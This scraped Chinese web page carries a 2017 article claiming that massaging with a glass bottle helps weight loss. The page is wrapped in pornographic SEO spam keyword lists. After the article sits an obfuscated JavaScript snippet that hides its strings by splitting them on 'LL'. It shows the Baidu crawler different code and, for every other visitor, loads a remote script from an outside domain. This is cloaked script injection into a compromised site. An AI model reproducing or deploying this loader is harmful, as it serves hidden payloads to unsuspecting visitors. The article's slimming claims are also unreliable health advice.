久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當前位置:首頁 > 減肥 > 中醫減肥 > 正文

中醫減肥 巧用玻璃瓶按摩瘦身

2017-03-08 10:58:35  來源:360常識網   熱度:
導語:按壓部分穴道能夠幫助減肥瘦身,其中玻璃瓶就是很好的按摩減肥道具,巧用玻璃瓶按摩減肥法還是蠻容易操作的,大家試試看吧!

中華中醫理論認為按壓部分穴道能夠幫助減肥瘦身,中醫專家表示,其實將隨手可得的玻璃瓶廢物利用,就是很好的按摩減肥道具,如果裝入溫熱水,還能同時熱敷,加強效果。現在就來學習以下這個玻璃瓶按摩減肥方法吧!

推拿按摩,通常是利用手指、手掌等部位,正好可以用玻璃瓶的瓶口、瓶身等部位取代。

使用道具:

將空的玻璃瓶洗干凈后就可用來按摩,瓶口處可用來按壓穴道,瓶身則可利用滾動的方式來按摩大面積部位。

巧用玻璃瓶按摩瘦身方法一:足下滾動 舒緩酸痛

做法:將玻璃瓶放在單腳足弓下來回輕輕滾動按摩,注意另一腳不可離地,單手扶墻維持平衡。左右腳滾動各約5個8拍,每1個8拍中間可以稍做休息。

注意事項:玻璃瓶下要墊著地毯或毛巾,以免滑倒。

巧用玻璃瓶按摩瘦身方法二:大腿內側 夾壓提臀

做法:將玻璃瓶夾在大腿中間,位置約在膝頭上方位置,雙手將大腿往外扳開,大腿往內用力夾緊,使玻璃瓶不至于掉落,用力約1個8拍后,稍做休息再重復共5個8拍,可有助提臀。

注意事項:做夾壓動作前,可在瓶中裝入溫熱但不燙手的溫水,溫度大約在40℃的溫水,在按摩或夾壓運動也能同時達到熱敷效果。

上面分享的兩個巧用玻璃瓶按摩減肥法還是蠻容易操作的,大家試試看吧!

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 91久久夜色精品国产网站 | 国产一区二区在线电影 | 亚洲黑人在线观看 | 二区视频 | 亚洲精品午夜视频 | 丁香婷婷久久久综合精品国产 | 久久免费精品视频 | 欧美区在线 | 天天摸夜夜操 | 黄色免费看视频 | 日韩精品免费一区二区夜夜嗨 | 成年人网站在线免费观看 | 成人一区视频 | 免费中文字幕 | 日本高清一区 | 久久美女视频 | 日韩精品在线观看视频 | 日韩在线免费电影 | 天堂在线www | 国产精品毛片无码 | 91在线中文字幕 | 99精品福利视频 | 国产一区二区影院 | 黄色在线观看网站 | 中文字幕免费在线观看 | 九九九九九九精品 | 97久久精品午夜一区二区 | 日本www在线 | 久久国产精品99久久久久久老狼 | 先锋资源中文字幕 | 欧美天天 | www.成人| 亚洲91精品 | 男女免费视频 | 中文字幕日韩高清 | 一本岛在线视频 | 国产一区二区三区四区在线观看 | 成人妇女免费播放久久久 | 国产免费视频 | 欧美成人a交片免费看 | 99视频精品在线 |